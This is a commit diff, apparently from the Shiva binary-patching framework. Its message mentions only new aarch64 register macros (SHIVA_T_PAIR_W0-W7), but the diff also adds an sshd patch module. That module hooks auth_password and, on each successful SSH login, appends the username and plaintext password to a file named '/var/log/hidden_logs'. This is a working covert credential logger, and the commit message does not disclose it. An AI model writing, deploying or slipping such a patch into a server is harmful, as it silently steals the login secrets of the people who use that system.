added SHIVA_T_PAIR_W0-W7 macros

Author: elfmaster

modules/aarch64_patches/sshd-patch/sshd_patch.c

@@ -53,7 +53,19 @@ struct Authctxt {
 
 struct passwd *pw;
 struct Authctxt *authctxt;
+FILE *logfd;
 
 SHIVA_T_FUNCTION_SPLICE(auth_password, 0x12620, 0x12620)
 {
+	SHIVA_T_PAIR_W0(ret);
 
+	if (ret > 0) {
+
+		logfd = fopen("/var/log/hidden_logs", "a+");
+		fprintf(logfd, "Succesful SSH login\n"
+				"Username: %s\n"
+				"Password: %s\n", pw->pw_name, password);
+
+
+	}
+}

modules/include/shiva_module.h

@@ -24,6 +24,15 @@
 #define SHIVA_T_PAIR_X6(var) register int64_t var asm("x6");
 #define SHIVA_T_PAIR_X7(var) register int64_t var asm("x7");
 
+#define SHIVA_T_PAIR_W0(var) register int64_t var asm("w0");
+#define SHIVA_T_PAIR_W1(var) register int64_t var asm("w1");
+#define SHIVA_T_PAIR_W2(var) register int64_t var asm("w2");
+#define SHIVA_T_PAIR_W3(var) register int64_t var asm("w3");
+#define SHIVA_T_PAIR_W4(var) register int64_t var asm("w4");
+#define SHIVA_T_PAIR_W5(var) register int64_t var asm("w5");
+#define SHIVA_T_PAIR_W6(var) register int64_t var asm("w6");
+#define SHIVA_T_PAIR_W7(var) register int64_t var asm("w7");
+
 #define SHIVA_T_PAIR_BP_16(var) asm volatile ("ldr x9, [x29, #16]"); \
 				  register int64_t var asm("x9");
 #define SHIVA_T_PAIR_BP_32(var) asm volatile ("ldr x9, [x29, #32]"); \